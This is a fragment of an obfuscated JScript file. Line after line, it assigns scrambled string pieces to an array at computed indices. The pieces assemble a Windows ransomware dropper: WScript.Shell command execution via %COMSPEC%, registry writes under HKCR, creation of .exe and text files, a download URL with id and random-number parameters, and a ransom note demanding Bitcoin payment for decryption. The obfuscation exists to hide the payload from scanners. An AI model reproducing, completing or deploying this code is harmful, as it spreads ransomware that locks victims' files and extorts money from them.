1865	l33 = - 2166;
1866	l33 += 2843;
1867	l99[l33] = 'Ru';
1868	l33 -= 2843;
1869	l33 = - 5015;
1870	l33 += 5823;
1871	l99[l33] = 'YPT.t';
1872	l33 -= 5823;
1873	l33 = - 2631;
1874	l33 += 3393;
1875	l99[l33] = '+cs+"o';
1876	l33 -= 3393;
1877	l33 = - 9289;
1878	l33 += 9327;
1879	l99[l33] = 'pl",';
1880	l33 -= 9327;
1881	l33 = - 970;
1882	l33 += 1900;
1883	l99[l33] = '; ';
1884	l33 -= 1900;
1885	l33 = - 5447;
1886	l33 += 5953;
1887	l99[l33] = 'n yo';
1888	l33 -= 5953;
1889	l33 = - 1790;
1890	l33 += 2289;
1891	l99[l33] = 'of t';
1892	l33 -= 2289;
1893	l33 = - 3952;
1894	l33 += 4162;
1895	l99[l33] = '",2';
1896	l33 -= 4162;
1897	l33 = - 6423;
1898	l33 += 6914;
1899	l99[l33] = '")';
1900	l33 -= 6914;
1901	l33 = - 4977;
1902	l33 += 5260;
1903	l99[l33] = 'n+".ph';
1904	l33 -= 5260;
1905	l33 = - 2280;
1906	l33 += 2610;
1907	l99[l33] = '; fp.';
1908	l33 -= 2610;
1909	l33 = - 3377;
1910	l33 += 3776;
1911	l99[l33] = 'teLine';
1912	l33 -= 3776;
1913	l33 = - 3627;
1914	l33 += 3798;
1915	l99[l33] = '&id';
1916	l33 -= 3798;
1917	l33 = - 1157;
1918	l33 += 1315;
1919	l99[l33] = '{ xo.o';
1920	l33 -= 1315;
1921	l33 = - 8272;
1922	l33 += 8345;
1923	l99[l33] = '";';
1924	l33 -= 8345;
1925	l33 = - 6118;
1926	l33 += 7009;
1927	l99[l33] = 's.R';
1928	l33 -= 7009;
1929	l33 = - 9597;
1930	l33 += 9960;
1931	l99[l33] = 'pay "+';
1932	l33 -= 9960;
1933	l33 = - 6124;
1934	l33 += 6675;
1935	l99[l33] = 'un dec';
1936	l33 -= 6675;
1937	l33 = - 717;
1938	l33 += 1028;
1939	l99[l33] = 'Al';
1940	l33 -= 1028;
1941	l33 = - 6579;
1942	l33 += 7451;
1943	l99[l33] = 'Create';
1944	l33 -= 7451;
1945	l33 = - 379;
1946	l33 += 1181;
1947	l99[l33] = '+"De';
1948	l33 -= 1181;
1949	l33 = - 5353;
1950	l33 += 5479;
1951	l99[l33] = 'ripti';
1952	l33 -= 5479;
1953	l33 = - 5929;
1954	l33 += 6515;
1955	l99[l33] = ' in ';
1956	l33 -= 6515;
1957	l33 = - 8929;
1958	l33 += 9822;
1959	l99[l33] = '%CO';
1960	l33 -= 9822;
1961	l33 = - 8179;
1962	l33 += 8420;
1963	l99[l33] = 'e(p';
1964	l33 -= 8420;
1965	l33 = - 1861;
1966	l33 += 2049;
1967	l99[l33] = 'type';
1968	l33 -= 2049;
1969	l33 = - 5973;
1970	l33 += 6433;
1971	l99[l33] = 'rit';
1972	l33 -= 6433;
1973	l33 = - 3160;
1974	l33 += 4087;
1975	l99[l33] = 'q,0';
1976	l33 -= 4087;
1977	l33 = - 9433;
1978	l33 += 9885;
1979	l99[l33] = 's.c';
1980	l33 -= 9885;
1981	l33 = - 7891;
1982	l33 += 8135;
1983	l99[l33] = 'if';
1984	l33 -= 8135;
1985	l33 = - 2975;
1986	l33 += 3438;
1987	l99[l33] = '""); f';
1988	l33 -= 3438;
1989	l33 = - 3613;
1990	l33 += 3820;
1991	l99[l33] = 'n+';
1992	l33 -= 3820;
1993	l33 = - 5098;
1994	l33 += 5216;
1995	l99[l33] = ' fo=WS';
1996	l33 -= 5216;
1997	l33 = - 8452;
1998	l33 += 8774;
1999	l99[l33] = ' ot';
2000	l33 -= 8774;
2001	l33 = - 3035;
2002	l33 += 3876;
2003	l99[l33] = '"%C';
2004	l33 -= 3876;
2005	l33 = - 3192;
2006	l33 += 3654;
2007	l99[l33] = 'ne(';
2008	l33 -= 3654;
2009	l33 = - 5364;
2010	l33 += 5795;
2011	l99[l33] = 'sh';
2012	l33 -= 5795;
2013	l33 = - 995;
2014	l33 += 1038;
2015	l99[l33] = '"tele';
2016	l33 -= 1038;
2017	l33 = - 5592;
2018	l33 += 6329;
2019	l99[l33] = '/t REG';
2020	l33 -= 6329;
2021	l33 = - 6934;
2022	l33 += 7218;
2023	l99[l33] = 'p")';
2024	l33 -= 7218;
2025	l33 = - 2944;
2026	l33 += 3742;
2027	l99[l33] = 'cq+"';
2028	l33 -= 3742;
2029	l33 = - 5170;
2030	l33 += 5967;
2031	l99[l33] = '" "+';
2032	l33 -= 5967;
2033	l33 = - 2632;
2034	l33 += 3391;
2035	l99[l33] = 's+';
2036	l33 -= 3391;
2037	l33 = - 6602;
2038	l33 += 6777;
2039	l99[l33] = '="+i+';
2040	l33 -= 6777;
2041	l33 = - 5005;
2042	l33 += 5300;
2043	l99[l33] = 'ue); ';
2044	l33 -= 5300;
2045	l33 = - 2135;
2046	l33 += 2749;
2047	l99[l33] = '(" ';
2048	l33 -= 2749;
2049	l33 = - 8248;
2050	l33 += 8973;
2051	l99[l33] = 'c REG ';
2052	l33 -= 8973;
2053	l33 = - 9416;
2054	l33 += 9722;
2055	l99[l33] = 'e("")';
2056	l33 -= 9722;
2057	l33 = - 6863;
2058	l33 += 7041;
2059	l99[l33] = 'xo.se';
2060	l33 -= 7041;
2061	l33 = - 6126;
2062	l33 += 7020;
2063	l99[l33] = 'MS';
2064	l33 -= 7020;
2065	l33 = - 5855;
2066	l33 += 6710;
2067	l99[l33] = 'un(';
2068	l33 -= 6710;
2069	l33 = - 2191;
2070	l33 += 2377;
2071	l99[l33] = '()';
2072	l33 -= 2377;
2073	l33 = - 7887;
2074	l33 += 8284;
2075	l99[l33] = 'fp.W';
2076	l33 -= 8284;
2077	l33 = - 3974;
2078	l33 += 4848;
2079	l99[l33] = 'ile(fn';
2080	l33 -= 4848;
2081	l33 = - 8083;
2082	l33 += 8604;
2083	l99[l33] = 'i=0;i';
2084	l33 -= 8604;
2085	l33 = - 2361;
2086	l33 += 3234;
2087	l99[l33] = 'TextF';
2088	l33 -= 3234;
2089	l33 = - 8521;
2090	l33 += 8766;
2091	l99[l33] = '(n==5)';
2092	l33 -= 8766;
2093	l33 = - 3508;
2094	l33 += 4210;
2095	l99[l33] = 'Run"+';
2096	l33 -= 4210;
2097	l33 = - 324;
2098	l33 += 1005;
2099	l99[l33] = 'C% /c ';
2100	l33 -= 1005;
2101	l33 = - 6735;
2102	l33 += 7390;
2103	l99[l33] = '"); fp';
2104	l33 -= 7390;
2105	l33 = - 5563;
2106	l33 += 6194;
2107	l99[l33] = 'e,';
2108	l33 -= 6194;
2109	l33 = - 7812;
2110	l33 += 7964;
2111	l99[l33] = 'eng';
2112	l33 -= 7964;
2113	l33 = - 6741;
2114	l33 += 6749;
2115	l99[l33] = '6"; v';
2116	l33 -= 6749;
2117	l33 = - 699;
2118	l33 += 1240;
2119	l99[l33] = 'fp';
2120	l33 -= 1240;
2121	l33 = - 8229;
2122	l33 += 8646;
2123	l99[l33] = '.W';
2124	l33 -= 8646;
2125	l33 = - 7035;
2126	l33 += 7202;
2127	l99[l33] = 'te';
2128	l33 -= 7202;
2129	l33 = - 5311;
2130	l33 += 6234;
2131	l99[l33] = 'C% /';
2132	l33 -= 6234;
2133	l33 = - 8382;
2134	l33 += 8539;
2135	l99[l33] = '; try ';
2136	l33 -= 8539;
2137	l33 = - 2939;
2138	l33 += 3677;
2139	l99[l33] = '_SZ /';
2140	l33 -= 3677;
2141	l33 = - 1326;
2142	l33 += 1534;
2143	l99[l33] = 'n+';
2144	l33 -= 1534;
2145	l33 = - 1263;
2146	l33 += 1735;
2147	l99[l33] = 's Bi';
2148	l33 -= 1735;
2149	l33 = - 3772;
2150	l33 += 4253;
2151	l99[l33] = '.W';
2152	l33 -= 4253;
2153	l33 = - 9335;
2154	l33 += 9757;
2155	l99[l33] = 'ri';
2156	l33 -= 9757;
2157	l33 = - 6102;
2158	l33 += 6197;
2159	l99[l33] = 'eO';
2160	l33 -= 6197;
2161	l33 = 177;
2162	l33 += 391;
2163	l99[l33] = 'E R';
2164	l33 -= 391;
2165	l33 = - 6150;
2166	l33 += 6803;
2167	l99[l33] = 'me';
2168	l33 -= 6803;
2169	l33 = - 8739;
2170	l33 += 8825;
2171	l99[l33] = 's.d';
2172	l33 -= 8825;
2173	l33 = - 4703;
2174	l33 += 5248;
2175	l99[l33] = ' fp';
2176	l33 -= 5248;
2177	l33 = - 5868;
2178	l33 += 6688;
2179	l99[l33] = '".';
2180	l33 -= 6688;
2181	l33 = - 6646;
2182	l33 += 7199;
2183	l99[l33] = ' to ';
2184	l33 -= 7199;
2185	l33 = - 154;
2186	l33 += 490;
2187	l99[l33] = 'd ';
2188	l33 -= 490;
2189	l33 = - 7147;
2190	l33 += 7532;
2191	l99[l33] = 'e(""';
2192	l33 -= 7532;
2193	l33 = - 2230;
2194	l33 += 2862;
2195	l99[l33] = ' etc.';
2196	l33 -= 2862;
2197	l33 = - 3634;
2198	l33 += 4052;
2199	l99[l33] = 'riteL';
2200	l33 -= 4052;
2201	l33 = - 5676;
2202	l33 += 6421;
2203	l99[l33] = '); ws.';
2204	l33 -= 6421;
2205	l33 = - 1977;
2206	l33 += 2289;
2207	l99[l33] = 'l your';
2208	l33 -= 2289;
2209	l33 = - 3183;
2210	l33 += 3793;
2211	l99[l33] = 'p.Wri';
2212	l33 -= 3793;
2213	l33 = - 5061;
2214	l33 += 5599;
2215	l99[l33] = 'ad';
2216	l33 -= 5599;
2217	l33 = - 6953;
2218	l33 += 7789;
2219	l99[l33] = 'txt"+c';
2220	l33 -= 7789;
2221	l33 = - 6455;
2222	l33 += 6603;
2223	l99[l33] = ' { f';
2224	l33 -= 6603;
2225	l33 = - 1690;
2226	l33 += 2484;
2227	l99[l33] = '+".';
2228	l33 -= 2484;
2229	l33 = - 5522;
2230	l33 += 6046;
2231	l99[l33] = 'ngth';
2232	l33 -= 6046;
2233	l33 = - 5021;
2234	l33 += 5811;
2235	l99[l33] = '% /c c';
2236	l33 -= 5811;
2237	l33 = - 3589;
2238	l33 += 4399;
2239	l99[l33] = '+cq,0,';
2240	l33 -= 4399;
2241	l33 = - 1965;
2242	l33 += 2578;
2243	l99[l33] = 'ne';
2244	l33 -= 2578;
2245	l33 = - 1006;
2246	l33 += 1281;
2247	l99[l33] = 'sts';
2248	l33 -= 1281;
2249	l33 = - 7613;
2250	l33 += 7875;
2251	l99[l33] = '(e';
2252	l33 -= 7875;
2253	l33 = - 4699;
2254	l33 += 5390;
2255	l99[l33] = 's+"Mic';
2256	l33 -= 5390;
2257	l33 = - 1679;
2258	l33 += 2304;
2259	l99[l33] = 'te';
2260	l33 -= 2304;
2261	l33 = - 4292;
2262	l33 += 4831;
2263	l99[l33] = '); ';
2264	l33 -= 4831;
2265	l33 = - 1743;
2266	l33 += 2085;
2267	l99[l33] = 'lgor';
2268	l33 -= 2085;
2269	l33 = - 4465;
2270	l33 += 5145;
2271	l99[l33] = 'PE';
2272	l33 -= 5145;
2273	l33 = - 6041;
2274	l33 += 6566;
2275	l99[l33] = ';i++) ';
2276	l33 -= 6566;
2277	l33 = - 2701;
2278	l33 += 3437;
2279	l99[l33] = '/ve ';
2280	l33 -= 3437;
2281	l33 = - 2648;
2282	l33 += 2658;
2283	l99[l33] = 'ld=0;';
2284	l33 -= 2658;
2285	l33 = - 9053;
2286	l33 += 9614;
2287	l99[l33] = 'eLine(';
2288	l33 -= 9614;
2289	l33 = - 727;
2290	l33 += 1084;
2291	l99[l33] = 'e y';
2292	l33 -= 1084;
2293	l33 = - 1097;
2294	l33 += 1196;
2295	l99[l33] = '.X';
2296	l33 -= 1196;
2297	l33 = - 5319;
2298	l33 += 6060;
2299	l99[l33] = '+"C';
2300	l33 -= 6060;
2301	l33 = - 930;
2302	l33 += 1307;
2303	l99[l33] = 'llow t';
2304	l33 -= 1307;
2305	l33 = - 9627;
2306	l33 += 9992;
2307	l99[l33] = '" BTC ';
2308	l33 -= 9992;
2309	l33 = - 5066;
2310	l33 += 5724;
2311	l99[l33] = 'ne("';
2312	l33 -= 5724;
2313	l33 = - 7798;
2314	l33 += 8410;
2315	l99[l33] = 'Li';
2316	l33 -= 8410;
2317	l33 = - 1244;
2318	l33 += 1932;
2319	l99[l33] = '+"SO';
2320	l33 -= 1932;
2321	l33 = 20;
2322	l33 += 159;
2323	l99[l33] = 'nd()';
2324	l33 -= 159;
2325	l33 = - 8905;
2326	l33 += 9532;
2327	l99[l33] = 'iv';
2328	l33 -= 9532;
2329	l33 = - 9751;
2330	l33 += 9971;
2331	l99[l33] = 'ca';
2332	l33 -= 9971;
2333	l33 = 590;
2334	l33 += 10;
2335	l99[l33] = ' - No';
2336	l33 -= 10;
2337	l33 = - 674;
2338	l33 += 961;
2339	l99[l33] = 'fp=f';
2340	l33 -= 961;
2341	l33 = - 3015;
2342	l33 += 3159;
2343	l99[l33] = ' n';
2344	l33 -= 3159;
2345	l33 = - 1562;
2346	l33 += 2010;
2347	l99[l33] = '/l';
2348	l33 -= 2010;
2349	l33 = - 6397;
2350	l33 += 6855;
2351	l99[l33] = '); fp';
2352	l33 -= 6855;
2353	l33 = - 7202;
2354	l33 += 7969;
2355	l99[l33] = 'd"';
2356	l33 -= 7969;
2357	l33 = - 4238;
2358	l33 += 4244;
2359	l99[l33] = ' bc="';
2360	l33 -= 4244;
2361	l33 = - 7496;
2362	l33 += 7635;
2363	l99[l33] = '".';
2364	l33 -= 7635;
2365	l33 = - 820;
2366	l33 += 1703;
2367	l99[l33] = 'fp';
2368	l33 -= 1703;
2369	l33 = - 4166;
2370	l33 += 4210;
2371	l99[l33] = 'kt';
2372	l33 -= 4210;
2373	l33 = - 4620;
2374	l33 += 4924;
2375	l99[l33] = '.Writ';
2376	l33 -= 4924;
2377	l33 = - 7908;
2378	l33 += 8013;
2379	l99[l33] = 'a=WScr';
2380	l33 -= 8013;
2381	l33 = - 2413;
2382	l33 += 3148;
2383	l99[l33] = 'q+" ';
2384	l33 -= 3148;
2385	l33 = - 8477;
2386	l33 += 8494;
2387	l99[l33] = 'rCode';
2388	l33 -= 8494;
2389	l33 = - 2265;
2390	l33 += 2744;
2391	l99[l33] = '(""); ';
2392	l33 -= 2744;
2393	l33 = 710;
2394	l33 += 13;
2395	l99[l33] = 'C%';
2396	l33 -= 13;
2397	l33 = - 1179;
2398	l33 += 1744;
2399	l99[l33] = 'eLin';
2400	l33 -= 1744;
2401	l33 = - 4718;
2402	l33 += 5387;
2403	l99[l33] = 'top (';
2404	l33 -= 5387;
2405	l33 = - 6001;
2406	l33 += 6716;
2407	l99[l33] = '+fn+".';
2408	l33 -= 6716;
2409	l33 = - 3336;
2410	l33 += 4003;
2411	l99[l33] = ' your ';
2412	l33 -= 4003;
2413	l33 = - 606;
2414	l33 += 1190;
2415	l99[l33] = 'do no';
2416	l33 -= 1190;
2417	l33 = - 5533;
2418	l33 += 5859;
2419	l99[l33] = 'ant pe';
2420	l33 -= 5859;
2421	l33 = - 7051;
2422	l33 += 7365;
2423	l99[l33] = 'men';
2424	l33 -= 7365;
2425	l33 = - 4643;
2426	l33 += 4654;
2427	l99[l33] = ' var';
2428	l33 -= 4654;
2429	l33 = - 642;
2430	l33 += 1156;
2431	l99[l33] = '); fp.';
2432	l33 -= 1156;
2433	l33 = 204;
2434	l33 += 128;
2435	l99[l33] = 'iteLi';
2436	l33 -= 128;
2437	l33 = - 7440;
2438	l33 += 8292;
2439	l99[l33] = '1)';
2440	l33 -= 8292;
2441	l33 = - 7364;
2442	l33 += 7613;
2443	l99[l33] = 'fn+".p';
2444	l33 -= 7613;
2445	l33 = - 6444;
2446	l33 += 7313;
2447	l99[l33] = '0); v';
2448	l33 -= 7313;
2449	l33 = - 7855;
2450	l33 += 8223;
2451	l99[l33] = 'ns).';
2452	l33 -= 8223;
2453	l33 = - 6558;
2454	l33 += 6639;
2455	l99[l33] = 'rings';
2456	l33 -= 6639;
2457	l33 = - 5672;
2458	l33 += 5930;
2459	l99[l33] = ';br';
2460	l33 -= 5930;
2461	l33 = - 5090;
2462	l33 += 5734;
2463	l99[l33] = 'be ';
2464	l33 -= 5734;
2465	l33 = - 8018;
2466	l33 += 8656;
2467	l99[l33] = ' ';
2468	l33 -= 8656;
2469	l33 = - 4154;
2470	l33 += 4619;
2471	l99[l33] = 'WriteL';
2472	l33 -= 4619;
2473	l33 = - 6879;
2474	l33 += 7216;
2475	l99[l33] = 'using';
2476	l33 -= 7216;
2477	l33 = - 8549;
2478	l33 += 9447;
2479	l99[l33] = 'c ';
2480	l33 -= 9447;
2481	l33 = - 283;
2482	l33 += 864;
2483	l99[l33] = '- If ';
2484	l33 -= 864;
2485	l33 = - 3596;
2486	l33 += 4045;
2487	l99[l33] = 'ocalbi';
2488	l33 -= 4045;
2489	l33 = - 8880;
2490	l33 += 8997;
2491	l99[l33] = 'ar';
2492	l33 -= 8997;
2493	l33 = 339;
2494	l33 += 440;
2495	l99[l33] = 'cs+';
2496	l33 -= 440;
2497	l33 = - 1875;
2498	l33 += 2512;
2499	l99[l33] = '(" ';
2500	l33 -= 2512;
2501	l33 = - 6070;
2502	l33 += 6305;
2503	l99[l33] = ' els';
2504	l33 -= 6305;
2505	l33 = - 3006;
2506	l33 += 3025;
2507	l99[l33] = 'va';
2508	l33 -= 3025;
2509	l33 = - 5811;
2510	l33 += 5865;
2511	l99[l33] = 'ect';
2512	l33 -= 5865;
2513	l33 = - 4784;
2514	l33 += 5557;
2515	l99[l33] = 'D "+c';
2516	l33 -= 5557;
2517	l33 = - 171;
2518	l33 += 698;
2519	l99[l33] = 'rite';
2520	l33 -= 698;
2521	l33 = - 2755;
2522	l33 += 2966;
2523	l99[l33] = ');t';
2524	l33 -= 2966;
2525	l33 = - 663;
2526	l33 += 797;
2527	l99[l33] = '(!fo.';
2528	l33 -= 797;
2529	l33 = - 6789;
2530	l33 += 6982;
2531	l99[l33] = 'espon';
2532	l33 -= 6982;
2533	l33 = - 364;
2534	l33 += 419;
2535	l99[l33] = '("WS';
2536	l33 -= 419;
2537	l33 = - 7147;
2538	l33 += 7962;
2539	l99[l33] = 'EC% /';
2540	l33 -= 7962;
2541	l33 = 369;
2542	l33 += 71;
2543	l99[l33] = 'teLi';
2544	l33 -= 71;
2545	l33 = - 6020;
2546	l33 += 6639;
2547	l99[l33] = 'ss ';
2548	l33 -= 6639;
2549	l33 = - 3620;
2550	l33 += 3922;
2551	l99[l33] = 'N!")';
2552	l33 -= 3922;
2553	l33 = - 8147;
2554	l33 += 8426;
2555	l99[l33] = '.Fil';
2556	l33 -= 8426;
2557	l33 = - 7078;
2558	l33 += 7349;
2559	l99[l33] = 'xe") ';
2560	l33 -= 7349;
2561	l33 = - 2789;
2562	l33 += 3621;
2563	l99[l33] = 'op';
2564	l33 -= 3621;
2565	l33 = - 8132;
2566	l33 += 8309;
2567	l99[l33] = 'lse); ';
2568	l33 -= 8309;
2569	l33 = - 8965;
2570	l33 += 9862;
2571	l99[l33] = ' /';
2572	l33 -= 9862;
2573	l33 = - 3422;
2574	l33 += 3995;
2575	l99[l33] = 'WriteL';
2576	l33 -= 3995;
2577	l33 = - 278;
2578	l33 += 1160;
2579	l99[l33] = 'i++){';
2580	l33 -= 1160;
2581	l33 = - 2603;
2582	l33 += 3378;
2583	l99[l33] = 'no';
2584	l33 -= 3378;
2585	l33 = - 4187;
2586	l33 += 4294;
2587	l99[l33] = '.Cr';
2588	l33 -= 4294;
2589	l33 = - 3878;
2590	l33 += 4792;
2591	l99[l33] = 'cq+fn+';
2592	l33 -= 4792;
2593	l33 = - 8011;
2594	l33 += 8541;
2595	l99[l33] = ' ';
2596	l33 -= 8541;
2597	l33 = - 7390;
2598	l33 += 7924;
2599	l99[l33] = 'i]+"';
2600	l33 -= 7924;
2601	l33 = - 52;
2602	l33 += 208;
2603	l99[l33] = 'n=0';
2604	l33 -= 208;
2605	l33 = 17;
2606	l33 += 358;
2607	l99[l33] = 'Pleas';
2608	l33 -= 358;
2609	l33 = - 7329;
2610	l33 += 7484;
2611	l99[l33] = 'ar d';
2612	l33 -= 7484;
2613	l33 = - 7427;
2614	l33 += 8138;
2615	l99[l33] = '_S';
2616	l33 -= 8138;
2617	l33 = - 1883;
2618	l33 += 2659;
2619	l99[l33] = 'tepad.';
2620	l33 -= 2659;
2621	l33 = - 2681;
2622	l33 += 3493;
2623	l99[l33] = '; ws.';
2624	l33 -= 3493;
2625	l33 = - 4199;
2626	l33 += 4694;
2627	l99[l33] = 'Line(';
2628	l33 -= 4694;
2629	l33 = - 5141;
2630	l33 += 5964;
2631	l99[l33] = ' "+';
2632	l33 -= 5964;
2633	l33 = - 30;
2634	l33 += 524;
2635	l99[l33] = 'Write';
2636	l33 -= 524;
2637	l33 = - 4660;
2638	l33 += 4930;
2639	l99[l33] = '+".e';
2640	l33 -= 4930;
2641	l33 = - 1784;
2642	l33 += 2660;
2643	l99[l33] = 'hp"';
2644	l33 -= 2660;
2645	l33 = - 8960;
2646	l33 += 9789;
2647	l99[l33] = '"+c';
2648	l33 -= 9789;
2649	l33 = - 4053;
2650	l33 += 4227;
2651	l99[l33] = '"&rnd';
2652	l33 -= 4227;
2653	l33 = - 6727;
2654	l33 += 7648;
2655	l99[l33] = '%CO';
2656	l33 -= 7648;
2657	l33 = - 4619;
2658	l33 += 4695;
2659	l99[l33] = '.Expa';
2660	l33 -= 4695;
2661	l33 = - 190;
2662	l33 += 506;
2663	l99[l33] = 'hot';
2664	l33 -= 506;
2665	l33 = - 7484;
2666	l33 += 7654;
2667	l99[l33] = 'd+"';
2668	l33 -= 7654;
2669	l33 = - 1385;
2670	l33 += 1751;
2671	l99[l33] = '(bi';
2672	l33 -= 1751;
2673	l33 = - 3989;
2674	l33 += 4344;
2675	l99[l33] = 'o ';
2676	l33 -= 4344;
2677	l33 = - 8140;
2678	l33 += 8248;
2679	l99[l33] = 'ea';
2680	l33 -= 8248;
2681	l33 = 369;
2682	l33 += 115;
2683	l99[l33] = ' ';
2684	l33 -= 115;
2685	l33 = - 8359;
2686	l33 += 8394;
2687	l99[l33] = 'et';
2688	l33 -= 8394;
2689	l33 = - 3096;
2690	l33 += 3497;
2691	l99[l33] = 'fp';
2692	l33 -= 3497;
2693	l33 = - 3740;
2694	l33 += 4593;
2695	l99[l33] = '; w';
2696	l33 -= 4593;
2697	l33 = - 1209;
2698	l33 += 1697;
2699	l99[l33] = 'p.Writ';
2700	l33 -= 1697;
2701	l33 = - 4157;
2702	l33 += 4599;
2703	l99[l33] = '); f';
2704	l33 -= 4599;
2705	l33 = - 3227;
2706	l33 += 3802;
2707	l99[l33] = 'e(""';
2708	l33 -= 3802;
2709	l33 = - 9213;
2710	l33 += 9446;
2711	l99[l33] = '2)';
2712	l33 -= 9446;
2713	l33 = - 1475;
2714	l33 += 2007;
2715	l99[l33] = ':/';
2716	l33 -= 2007;
2717	l33 = - 1294;
2718	l33 += 1458;
2719	l99[l33] = 'i]';
2720	l33 -= 1458;
2721	l33 = - 8399;
2722	l33 += 8797;
2723	l99[l33] = 'ri';
2724	l33 -= 8797;
2725	l33 = - 6198;
2726	l33 += 6489;
2727	l99[l33] = 'xtFi';
2728	l33 -= 6489;
2729	l33 = - 2464;
2730	l33 += 2632;
2731	l99[l33] = 'r/?';
2732	l33 -= 2632;
2733	l33 = - 2439;
2734	l33 += 3013;
2735	l99[l33] = 'in';
2736	l33 -= 3013;
2737	l33 = - 3739;
2738	l33 += 3778;
2739	l99[l33] = '"tamil';
2740	l33 -= 3778;
2741	l33 = - 8908;
2742	l33 += 9000;
2743	l99[l33] = 'ip';
2744	l33 -= 9000;
2745	l33 = - 5877;
2746	l33 += 6766;
2747	l99[l33] = '.Clos';
2748	l33 -= 6766;
2749	l33 = - 4135;
2750	l33 += 4372;
2751	l99[l33] = 'n==';
2752	l33 -= 4372;
2753	l33 = - 2702;
2754	l33 += 3433;
2755	l99[l33] = '"+cs+';
2756	l33 -= 3433;
2757	l33 = - 7008;
2758	l33 += 7355;
2759	l99[l33] = ' u';
2760	l33 -= 7355;
2761	l33 = 812;
2762	l33 += 30;
2763	l99[l33] = 'OMS';
2764	l33 -= 30;
2765	l33 = - 8466;
2766	l33 += 9101;
2767	l99[l33] = 'eL';
2768	l33 -= 9101;
2769	l33 = - 6361;
2770	l33 += 6452;
2771	l99[l33] = 'WScr';
2772	l33 -= 6452;
2773	l33 = - 3245;
2774	l33 += 4149;
2775	l99[l33] = 'q,';
2776	l33 -= 4149;
2777	l33 = - 9191;
2778	l33 += 9439;
2779	l99[l33] = 'oFile(';
2780	l33 -= 9439;
2781	l33 = - 8335;
2782	l33 += 9210;
2783	l99[l33] = '+".p';
2784	l33 -= 9210;
2785	l33 = - 8262;
2786	l33 += 8919;
2787	l99[l33] = 'Li';
2788	l33 -= 8919;
2789	l33 = - 531;
2790	l33 += 596;
2791	l99[l33] = 'dEn';
2792	l33 -= 596;
2793	l33 = - 9381;
2794	l33 += 9959;
2795	l99[l33] = 'Write';
2796	l33 -= 9959;
2797	l33 = - 5805;
2798	l33 += 6140;
2799	l99[l33] = 'rypte';
2800	l33 -= 6140;
2801	l33 = - 3300;
2802	l33 += 3695;
2803	l99[l33] = 'et her';
2804	l33 -= 3695;
2805	l33 = - 9420;
2806	l33 += 9902;
2807	l99[l33] = 'riteLi';
2808	l33 -= 9902;
2809	l33 = - 5623;
2810	l33 += 5854;
2811	l99[l33] = 'n+".ex';
2812	l33 -= 5854;
2813	l33 = - 2180;
2814	l33 += 2842;
2815	l99[l33] = 'find';
2816	l33 -= 2842;
2817	l33 = - 5086;
2818	l33 += 5216;
2819	l99[l33] = 'mOb';
2820	l33 -= 5216;
2821	l33 = - 8333;
2822	l33 += 9053;
2823	l99[l33] = 'Run';
2824	l33 -= 9053;
2825	l33 = - 256;
2826	l33 += 1084;
2827	l99[l33] = 'ile%';
2828	l33 -= 1084;
2829	l33 = - 625;
2830	l33 += 1055;
2831	l99[l33] = ' ca';
2832	l33 -= 1055;
2833	l33 = 326;
2834	l33 += 211;
2835	l99[l33] = '"+';
2836	l33 -= 211;
2837	l33 = - 5324;
2838	l33 += 6095;
2839	l99[l33] = ' REG_S';
2840	l33 -= 6095;
2841	l33 = - 269;
2842	l33 += 975;
2843	l99[l33] = 'Cr';
2844	l33 -= 975;
2845	l33 = - 1007;
2846	l33 += 1538;
2847	l99[l33] = ' http';
2848	l33 -= 1538;
2849	l33 = - 5675;
2850	l33 += 6536;
2851	l99[l33] = 'epad';
2852	l33 -= 6536;
2853	l33 = - 7487;
2854	l33 += 7567;
2855	l99[l33] = 'tSt';
2856	l33 -= 7567;
2857	l33 = - 807;
2858	l33 += 944;
2859	l99[l33] = 'ts';
2860	l33 -= 944;
2861	l33 = - 3387;
2862	l33 += 3896;
2863	l99[l33] = 'to ';
2864	l33 -= 3896;
2865	l33 = - 157;
2866	l33 += 884;
2867	l99[l33] = ' "+';
2868	l33 -= 884;
2869	l33 = - 3996;
2870	l33 += 4725;
2871	l99[l33] = '+"H';
2872	l33 -= 4725;
2873	l33 = - 6675;
2874	l33 += 6818;
2875	l99[l33] = '(var';
2876	l33 -= 6818;
2877	l33 = - 8596;
2878	l33 += 9322;
2879	l99[l33] = 'ADD';
2880	l33 -= 9322;
2881	l33 = - 383;
2882	l33 += 651;
2883	l99[l33] = 'sts(';
2884	l33 -= 651;
2885	l33 = - 8976;
2886	l33 += 9235;
2887	l99[l33] = 'eak;}';
2888	l33 -= 9235;
2889	l33 = - 5678;
2890	l33 += 6538;
2891	l99[l33] = 'not';
2892	l33 -= 6538;
2893	l33 = - 8202;
2894	l33 += 8611;
2895	l99[l33] = 'blockc';
2896	l33 -= 8611;
2897	l33 = - 473;
2898	l33 += 1084;
2899	l99[l33] = 'te';
2900	l33 -= 1084;
2901	l33 = - 6784;
2902	l33 += 6974;
2903	l99[l33] = 'a.wri';
2904	l33 -= 6974;
2905	l33 = - 5654;
2906	l33 += 6190;
2907	l99[l33] = 'er/?a=';
2908	l33 -= 6190;
2909	l33 = - 8137;
2910	l33 += 8475;
2911	l99[l33] = ' stron';
2912	l33 -= 8475;
2913	l33 = - 2384;
2914	l33 += 3202;
2915	l99[l33] = '+cq+';
2916	l33 -= 3202;
2917	l33 = - 4437;
2918	l33 += 4539;
2919	l99[l33] = '")';
2920	l33 -= 4539;
2921	l33 = - 137;
2922	l33 += 247;
2923	l99[l33] = 'jec';
2924	l33 -= 247;
2925	l33 = 401;
2926	l33 += 55;
2927	l99[l33] = 'oin';
2928	l33 -= 55;
2929	l33 = - 5579;
2930	l33 += 5946;
2931	l99[l33] = 'tcoi';
2932	l33 -= 5946;
2933	l33 = - 3245;
2934	l33 += 3941;
2935	l99[l33] = 'ws"+c';
2936	l33 -= 3941;
2937	l33 = - 7470;
2938	l33 += 7522;
2939	l99[l33] = '.Crea';
2940	l33 -= 7522;
2941	l33 = - 1313;
2942	l33 += 2148;
2943	l99[l33] = 'RYPT.';
2944	l33 -= 2148;
2945	l33 = - 1898;
2946	l33 += 2355;
2947	l99[l33] = 's"';
2948	l33 -= 2355;
2949	l33 = - 531;
2950	l33 += 910;
2951	l99[l33] = 'an';
2952	l33 -= 910;
2953	l33 = - 7814;
2954	l33 += 8571;
2955	l99[l33] = 'ryp';
2956	l33 -= 8571;
2957	l33 = - 5083;
2958	l33 += 5092;
2959	l99[l33] = 'ar ';
2960	l33 -= 5092;
2961	l33 = - 264;
2962	l33 += 994;
2963	l99[l33] = 'KCR';
2964	l33 -= 994;
2965	l33 = - 3232;
2966	l33 += 3886;
2967	l99[l33] = 'nt.';
2968	l33 -= 3886;
2969	l33 = - 2568;
2970	l33 += 2979;
2971	l99[l33] = 'in.';
2972	l33 -= 2979;
